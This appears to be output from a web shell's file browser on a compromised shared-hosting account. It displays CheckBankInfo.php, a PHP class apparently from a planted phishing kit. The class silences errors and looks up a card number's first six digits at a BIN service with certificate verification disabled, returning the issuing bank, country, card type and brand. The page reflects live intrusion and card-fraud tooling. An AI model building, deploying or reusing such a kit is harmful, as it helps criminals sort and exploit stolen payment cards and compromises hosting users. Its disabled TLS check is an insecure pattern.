HEX
Server: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: iestorre (46869)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/i/e/s/iestorre/musica222/layouts/libraries/cms/kjhnbg/d6ab75/en/System/CheckBankInfo.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
class Bank{
	public static function GetBank($CardNumber){
		$GetBin = substr($CardNumber,0,6);
		$URL = "https://lookup.binlist.net/".$GetBin;
		// connect via SSL, but don't check cert
		$handle=curl_init($URL);
		curl_setopt($handle, CURLOPT_VERBOSE, true);
		curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);
		$content = curl_exec($handle);
		return @json_decode($content,true);
	}
	public static function GetBankInfo($Info,$CardNumber){
		$x = Bank::GetBank($CardNumber);
		//Bank Name
		if($Info == "BankName"){
			return $x["bank"]["name"];
		}
		//Bank url
		if($Info == "BankUrl"){
			return $x["bank"]["url"];
		}
		//Bank Country
		if($Info == "BankCountry"){
			return $x["country"]["name"];
		}
		//Card Type
		if($Info == "CardType"){
			return $x["type"];
		}
		//Card brand
		if($Info == "Cardbrand"){
			return $x["brand"];
		}
		if($Info == "Cardscheme"){
			return $x["scheme"];
		}
		return "Null";
	}
}
?>